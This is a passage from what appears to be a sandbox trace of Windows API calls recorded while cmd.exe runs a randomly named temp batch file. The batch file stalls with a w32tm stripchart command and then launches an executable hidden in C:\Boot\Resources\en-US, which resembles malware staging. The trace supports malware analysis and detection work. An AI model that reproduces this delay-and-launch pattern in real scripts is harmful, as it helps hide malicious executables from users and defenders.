/dataonly /samples:2 ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\portSession", lpStartupInfo=0x2e6c38e5c0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2e6c38e5a8 | out: lpCommandLine="w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ", lpProcessInformation=0x2e6c38e5a8*(hProcess=0x90, hThread=0x8c, dwProcessId=0x1398, dwThreadId=0x1390)) returned 1 [0139.801] CloseHandle (hObject=0x8c) returned 1 [0139.801] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0139.801] GetProcessHeap () returned 0x1fb1ef60000 [0139.801] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef69a20) returned 1 [0139.801] GetEnvironmentStringsW () returned 0x1fb1ef69a20* [0139.801] GetProcessHeap () returned 0x1fb1ef60000 [0139.801] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xbae) returned 0x1fb1ef6ac70 [0139.801] memcpy (in: _Dst=0x1fb1ef6ac70, _Src=0x1fb1ef69a20, _Size=0xbae | out: _Dst=0x1fb1ef6ac70) returned 0x1fb1ef6ac70 [0139.801] FreeEnvironmentStringsA (penv="=") returned 1 [0139.801] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0xffffffff) returned 0x0 [0145.162] GetExitCodeProcess (in: hProcess=0x90, lpExitCode=0x2e6c38e528 | out: lpExitCode=0x2e6c38e528*=0x0) returned 1 [0145.162] CloseHandle (hObject=0x90) returned 1 [0145.163] _vsnwprintf (in: _Buffer=0x2e6c38e6e8, _BufferCount=0x13, _Format="%08X", _ArgList=0x2e6c38e538 | out: _Buffer="00000000") returned 8 [0145.163] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0145.164] GetProcessHeap () returned 0x1fb1ef60000 [0145.164] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6ac70) returned 1 [0145.164] GetEnvironmentStringsW () returned 0x1fb1ef6c410* [0145.164] GetProcessHeap () returned 0x1fb1ef60000 [0145.164] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xbd4) returned 0x1fb1ef6cff0 [0145.165] memcpy (in: _Dst=0x1fb1ef6cff0, _Src=0x1fb1ef6c410, _Size=0xbd4 | out: _Dst=0x1fb1ef6cff0) returned 0x1fb1ef6cff0 [0145.165] FreeEnvironmentStringsA (penv="=") returned 1 [0145.165] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0145.165] GetProcessHeap () returned 0x1fb1ef60000 [0145.165] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6cff0) returned 1 [0145.165] GetEnvironmentStringsW () returned 0x1fb1ef6c410* [0145.165] GetProcessHeap () returned 0x1fb1ef60000 [0145.165] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xbd4) returned 0x1fb1ef6cff0 [0145.165] memcpy (in: _Dst=0x1fb1ef6cff0, _Src=0x1fb1ef6c410, _Size=0xbd4 | out: _Dst=0x1fb1ef6cff0) returned 0x1fb1ef6cff0 [0145.165] FreeEnvironmentStringsA (penv="=") returned 1 [0145.165] GetProcessHeap () returned 0x1fb1ef60000 [0145.165] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef77640) returned 1 [0145.165] DeleteProcThreadAttributeList (in: lpAttributeList=0x2e6c38e6a0 | out: lpAttributeList=0x2e6c38e6a0) [0145.165] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0145.166] _close (_FileHandle=3) returned 0 [0145.166] _get_osfhandle (_FileHandle=1) returned 0x24 [0145.166] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1 [0145.172] _get_osfhandle (_FileHandle=1) returned 0x24 [0145.172] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff674bd960c | out: lpMode=0x7ff674bd960c) returned 1 [0145.174] _get_osfhandle (_FileHandle=0) returned 0x20 [0145.174] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff674bd9608 | out: lpMode=0x7ff674bd9608) returned 1 [0145.175] SetConsoleInputExeNameW () returned 0x1 [0145.175] GetConsoleOutputCP () returned 0x1b5 [0145.181] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff674bd9660 | out: lpCPInfo=0x7ff674bd9660) returned 1 [0145.181] SetThreadUILanguage (LangId=0x0) returned 0x409 [0145.182] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2e6c38ee50, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x88 [0145.182] _open_osfhandle (_OSFileHandle=0x88, _Flags=8) returned 3 [0145.182] _get_osfhandle (_FileHandle=3) returned 0x88 [0145.182] SetFilePointer (in: hFile=0x88, lDistanceToMove=88, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0145.182] GetProcessHeap () returned 0x1fb1ef60000 [0145.183] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79e70) returned 1 [0145.183] GetProcessHeap () returned 0x1fb1ef60000 [0145.184] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6a630) returned 1 [0145.184] GetProcessHeap () returned 0x1fb1ef60000 [0145.185] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79cf0) returned 1 [0145.185] GetProcessHeap () returned 0x1fb1ef60000 [0145.186] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6a5e0) returned 1 [0145.187] GetProcessHeap () returned 0x1fb1ef60000 [0145.188] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79c40) returned 1 [0145.188] GetProcessHeap () returned 0x1fb1ef60000 [0145.188] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79a20) returned 1 [0145.188] GetProcessHeap () returned 0x1fb1ef60000 [0145.189] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef76ae0) returned 1 [0145.189] GetProcessHeap () returned 0x1fb1ef60000 [0145.189] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79990) returned 1 [0145.189] GetProcessHeap () returned 0x1fb1ef60000 [0145.189] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79810) returned 1 [0145.189] GetProcessHeap () returned 0x1fb1ef60000 [0145.190] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79690) returned 1 [0145.190] GetProcessHeap () returned 0x1fb1ef60000 [0145.190] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79640) returned 1 [0145.190] GetProcessHeap () returned 0x1fb1ef60000 [0145.190] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef778c0) returned 1 [0145.190] GetProcessHeap () returned 0x1fb1ef60000 [0145.190] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef791a0) returned 1 [0145.190] GetProcessHeap () returned 0x1fb1ef60000 [0145.190] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef795a0) returned 1 [0145.190] GetProcessHeap () returned 0x1fb1ef60000 [0145.190] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef76d80) returned 1 [0145.191] GetProcessHeap () returned 0x1fb1ef60000 [0145.191] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef794e0) returned 1 [0145.191] _get_osfhandle (_FileHandle=3) returned 0x88 [0145.191] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x58 [0145.191] ReadFile (in: hFile=0x88, lpBuffer=0x7ff674be5b80, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2e6c38ee10, lpOverlapped=0x0 | out: lpBuffer=0x7ff674be5b80*, lpNumberOfBytesRead=0x2e6c38ee10*=0x7e, lpOverlapped=0x0) returned 1 [0145.191] SetFilePointer (in: hFile=0x88, lDistanceToMove=143, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8f [0145.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="start \"\" \"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\"\r\n", cbMultiByte=55, lpWideCharStr=0x7ff674bd09e0, cchWideChar=8191 | out: lpWideCharStr="start \"\" \"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\"\r\nly /samples:2 1>nul\r\n") returned 55 [0145.192] _get_osfhandle (_FileHandle=3) returned 0x88 [0145.192] GetFileType (hFile=0x88) returned 0x1 [0145.192] _get_osfhandle (_FileHandle=3) returned 0x88 [0145.192] SetFilePointer (in: hFile=0x88, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8f [0145.192] GetProcessHeap () returned 0x1fb1ef60000 [0145.192] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x4012) returned 0x1fb1ef79f90 [0145.193] GetProcessHeap () returned 0x1fb1ef60000 [0145.193] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79f90) returned 1 [0145.193] _wcsicmp (_String1="start", _String2=")") returned 74 [0145.194] _wcsicmp (_String1="FOR", _String2="start") returned -13 [0145.194] _wcsicmp (_String1="FOR/?", _String2="start") returned -13 [0145.194] _wcsicmp (_String1="IF", _String2="start") returned -10 [0145.194] _wcsicmp (_String1="IF/?", _String2="start") returned -10 [0145.194] _wcsicmp (_String1="REM", _String2="start") returned -1 [0145.194] _wcsicmp (_String1="REM/?", _String2="start") returned -1 [0145.194] GetProcessHeap () returned 0x1fb1ef60000 [0145.194] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xb0) returned 0x1fb1ef6a950 [0145.194] GetProcessHeap () returned 0x1fb1ef60000 [0145.194] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x1c) returned 0x1fb1ef76d80 [0145.195] GetProcessHeap () returned 0x1fb1ef60000 [0145.195] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x72) returned 0x1fb1ef6aa10 [0145.196] _tell (_FileHandle=3) returned 143 [0145.196] _close (_FileHandle=3) returned 0 [0145.197] _wcsicmp (_String1="start", _String2="DIR") returned 15 [0145.197] _wcsicmp (_String1="start", _String2="ERASE") returned 14 [0145.197] _wcsicmp (_String1="start", _String2="DEL") returned 15 [0145.197] _wcsicmp (_String1="start", _String2="TYPE") returned -1 [0145.197] _wcsicmp (_String1="start", _String2="COPY") returned 16 [0145.197] _wcsicmp (_String1="start", _String2="CD") returned 16 [0145.197] _wcsicmp (_String1="start", _String2="CHDIR") returned 16 [0145.197] _wcsicmp (_String1="start", _String2="RENAME") returned 1 [0145.197] _wcsicmp (_String1="start", _String2="REN") returned 1 [0145.197] _wcsicmp (_String1="start", _String2="ECHO") returned 14 [0145.197] _wcsicmp (_String1="start", _String2="SET") returned 15 [0145.197] _wcsicmp (_String1="start", _String2="PAUSE") returned 3 [0145.197] _wcsicmp (_String1="start", _String2="DATE") returned 15 [0145.197] _wcsicmp (_String1="start", _String2="TIME") returned -1 [0145.197] _wcsicmp (_String1="start", _String2="PROMPT") returned 3 [0145.197] _wcsicmp (_String1="start", _String2="MD") returned 6 [0145.197] _wcsicmp (_String1="start", _String2="MKDIR") returned 6 [0145.197] _wcsicmp (_String1="start", _String2="RD") returned 1 [0145.197] _wcsicmp (_String1="start", _String2="RMDIR") returned 1 [0145.197] _wcsicmp (_String1="start", _String2="PATH") returned 3 [0145.197] _wcsicmp (_String1="start", _String2="GOTO") returned 12 [0145.197] _wcsicmp (_String1="start", _String2="SHIFT") returned 12 [0145.197] _wcsicmp (_String1="start", _String2="CLS") returned 16 [0145.197] _wcsicmp (_String1="start", _String2="CALL") returned 16 [0145.197] _wcsicmp (_String1="start", _String2="VERIFY") returned -3 [0145.198] _wcsicmp (_String1="start", _String2="VER") returned -3 [0145.198] _wcsicmp (_String1="start", _String2="VOL") returned -3 [0145.198] _wcsicmp (_String1="start", _String2="EXIT") returned 14 [0145.198] _wcsicmp (_String1="start", _String2="SETLOCAL") returned 15 [0145.198] _wcsicmp (_String1="start", _String2="ENDLOCAL") returned 14 [0145.198] _wcsicmp (_String1="start", _String2="TITLE") returned -1 [0145.198] _wcsicmp (_String1="start", _String2="START") returned 0 [0145.198] GetConsoleTitleW (in: lpConsoleTitle=0x2e6c38ec00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0145.199] _wcsicmp (_String1="start", _String2="DIR") returned 15 [0145.199] _wcsicmp (_String1="start", _String2="ERASE") returned 14 [0145.199] _wcsicmp (_String1="start", _String2="DEL") returned 15 [0145.199] _wcsicmp (_String1="start", _String2="TYPE") returned -1 [0145.199] _wcsicmp (_String1="start", _String2="COPY") returned 16 [0145.199] _wcsicmp (_String1="start", _String2="CD") returned 16 [0145.199] _wcsicmp (_String1="start", _String2="CHDIR") returned 16 [0145.199] _wcsicmp (_String1="start", _String2="RENAME") returned 1 [0145.199] _wcsicmp (_String1="start", _String2="REN") returned 1 [0145.199] _wcsicmp (_String1="start", _String2="ECHO") returned 14 [0145.199] _wcsicmp (_String1="start", _String2="SET") returned 15 [0145.200] _wcsicmp (_String1="start", _String2="PAUSE") returned 3 [0145.200] _wcsicmp (_String1="start", _String2="DATE") returned 15 [0145.200] _wcsicmp (_String1="start", _String2="TIME") returned -1 [0145.200] _wcsicmp (_String1="start", _String2="PROMPT") returned 3 [0145.200] _wcsicmp (_String1="start", _String2="MD") returned 6 [0145.200] _wcsicmp (_String1="start", _String2="MKDIR") returned 6 [0145.200] _wcsicmp (_String1="start", _String2="RD") returned 1 [0145.200] _wcsicmp (_String1="start", _String2="RMDIR") returned 1 [0145.203] _wcsicmp (_String1="start", _String2="PATH") returned 3 [0145.203] _wcsicmp (_String1="start", _String2="GOTO") returned 12 [0145.203] _wcsicmp (_String1="start", _String2="SHIFT") returned 12 [0145.203] _wcsicmp (_String1="start", _String2="CLS") returned 16 [0145.203] _wcsicmp (_String1="start", _String2="CALL") returned 16 [0145.203] _wcsicmp (_String1="start", _String2="VERIFY") returned -3 [0145.203] _wcsicmp (_String1="start", _String2="VER") returned -3 [0145.203] _wcsicmp (_String1="start", _String2="VOL") returned -3 [0145.203] _wcsicmp (_String1="start", _String2="EXIT") returned 14 [0145.203] _wcsicmp (_String1="start", _String2="SETLOCAL") returned 15 [0145.203] _wcsicmp (_String1="start", _String2="ENDLOCAL") returned 14 [0145.203] _wcsicmp (_String1="start", _String2="TITLE") returned -1 [0145.203] _wcsicmp (_String1="start", _String2="START") returned 0 [0145.203] GetProcessHeap () returned 0x1fb1ef60000 [0145.203] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xd4) returned 0x1fb1ef794e0 [0145.204] GetProcessHeap () returned 0x1fb1ef60000 [0145.204] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef794e0, Size=0x72) returned 0x1fb1ef794e0 [0145.204] GetProcessHeap () returned 0x1fb1ef60000 [0145.204] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef794e0) returned 0x72 [0145.204] GetProcessHeap () returned 0x1fb1ef60000 [0145.204] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x7e) returned 0x1fb1ef6aa90 [0145.204] GetStdHandle (nStdHandle=0xfffffff6) returned 0x20 [0145.204] GetStdHandle (nStdHandle=0xfffffff5) returned 0x24 [0145.204] GetStdHandle (nStdHandle=0xfffffff4) returned 0x28 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="DIR") returned -1 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="ERASE") returned -2 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="DEL") returned -1 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="TYPE") returned -17 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="COPY") returned -53 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="CD") returned -42 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="CHDIR") returned -46 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="RENAME") returned -15 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="REN") returned -15 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="ECHO") returned -2 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="SET") returned -16 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="PAUSE") returned -13 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="DATE") returned -1 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="TIME") returned -17 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="PROMPT") returned -13 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="MD") returned -10 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="MKDIR") returned -10 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="RD") returned -15 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="RMDIR") returned -15 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="PATH") returned -13 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="GOTO") returned -4 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="SHIFT") returned -16 [0145.205] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="CLS") returned -50 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="CALL") returned -39 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="VERIFY") returned -19 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="VER") returned -19 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="VOL") returned -19 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="EXIT") returned -2 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="SETLOCAL") returned -16 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="ENDLOCAL") returned -2 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="TITLE") returned -17 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="START") returned -16 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="DPATH") returned -1 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="KEYS") returned -8 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="MOVE") returned -10 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="PUSHD") returned -13 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="POPD") returned -13 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="ASSOC") returned 2 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="FTYPE") returned -3 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="BREAK") returned 1 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="COLOR") returned -53 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="MKLINK") returned -10 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="FOR") returned -3 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="IF") returned -6 [0145.206] _wcsicmp (_String1="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", _String2="REM") returned -15 [0145.206] _wcsnicmp (_String1="C:\\B", _String2="cmd ", _MaxCount=0x4) returned -51 [0145.206] GetProcessHeap () returned 0x1fb1ef60000 [0145.207] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x420) returned 0x1fb1ef79570 [0145.207] SetErrorMode (uMode=0x0) returned 0x0 [0145.207] SetErrorMode (uMode=0x1) returned 0x0 [0145.207] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\.", nBufferLength=0x208, lpBuffer=0x1fb1ef79580, lpFilePart=0x2e6c3720e0 | out: lpBuffer="C:\\Boot\\Resources\\en-US", lpFilePart=0x2e6c3720e0*="en-US") returned 0x17 [0145.207] SetErrorMode (uMode=0x0) returned 0x1 [0145.207] GetProcessHeap () returned 0x1fb1ef60000 [0145.207] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef79570, Size=0x66) returned 0x1fb1ef79570 [0145.207] GetProcessHeap () returned 0x1fb1ef60000 [0145.207] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef79570) returned 0x66 [0145.207] NeedCurrentDirectoryForExePathW (ExeName="C:\\Boot\\Resources\\en-US\\.") returned 1 [0145.207] GetProcessHeap () returned 0x1fb1ef60000 [0145.207] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x46) returned 0x1fb1ef78bf0 [0145.207] GetProcessHeap () returned 0x1fb1ef60000 [0145.207] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x78) returned 0x1fb1ef795f0 [0145.207] GetProcessHeap () returned 0x1fb1ef60000 [0145.207] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef795f0, Size=0x46) returned 0x1fb1ef795f0 [0145.207] GetProcessHeap () returned 0x1fb1ef60000 [0145.207] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef795f0) returned 0x46 [0145.207] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff674bd96a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0145.207] GetProcessHeap () returned 0x1fb1ef60000 [0145.207] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xe8) returned 0x1fb1ef79650 [0145.207] GetProcessHeap () returned 0x1fb1ef60000 [0145.207] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef79650, Size=0x7e) returned 0x1fb1ef79650 [0145.207] GetProcessHeap () returned 0x1fb1ef60000 [0145.207] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef79650) returned 0x7e [0145.207] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0145.208] FindFirstFileExW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe"), fInfoLevelId=0x1, lpFindFileData=0x2e6c371e60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2e6c371e60) returned 0x1fb1ef78240 [0145.208] FindClose (in: hFindFile=0x1fb1ef78240 | out: hFindFile=0x1fb1ef78240) returned 1 [0145.208] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0145.208] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0145.208] GetStartupInfoW (in: lpStartupInfo=0x2e6c3724a0 | out: lpStartupInfo=0x2e6c3724a0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0145.208] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0x2e6c3723f8 | out: lpAttributeList=0x0, lpSize=0x2e6c3723f8) returned 0 [0145.208] GetLastError () returned 0x7a [0145.208] GetProcessHeap () returned 0x1fb1ef60000 [0145.209] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x48) returned 0x1fb1ef78600 [0145.209] InitializeProcThreadAttributeList (in: lpAttributeList=0x1fb1ef78600, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0x2e6c3723f8 | out: lpAttributeList=0x1fb1ef78600, lpSize=0x2e6c3723f8) returned 1 [0145.209] UpdateProcThreadAttribute (in: lpAttributeList=0x1fb1ef78600, dwFlags=0x0, Attribute=0x60001, lpValue=0x2e6c372400, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1fb1ef78600, lpPreviousValue=0x0) returned 1 [0145.209] CreateProcessW (in: lpApplicationName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", lpCommandLine="\"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80410, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2e6c372430*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x20, hStdOutput=0x24, hStdError=0x28), lpProcessInformation=0x2e6c372410 | out: lpCommandLine="\"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\" ", lpProcessInformation=0x2e6c372410*(hProcess=0x90, hThread=0x88, dwProcessId=0xbf4, dwThreadId=0x81c)) returned 1 [0145.221] DeleteProcThreadAttributeList (in: lpAttributeList=0x1fb1ef78600 | out: lpAttributeList=0x1fb1ef78600) [0145.221] GetProcessHeap () returned 0x1fb1ef60000 [0145.222] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef78600) returned 1 [0145.222] GetLastError () returned 0x7a [0145.222] ResumeThread (hThread=0x88) returned 0x0 [0145.222] CloseHandle (hObject=0x88) returned 1 [0145.222] CloseHandle (hObject=0x90) returned 1 [0145.222] _get_osfhandle (_FileHandle=1) returned 0x24 [0145.223] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1 [0145.312] _get_osfhandle (_FileHandle=1) returned 0x24 [0145.312] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff674bd960c | out: 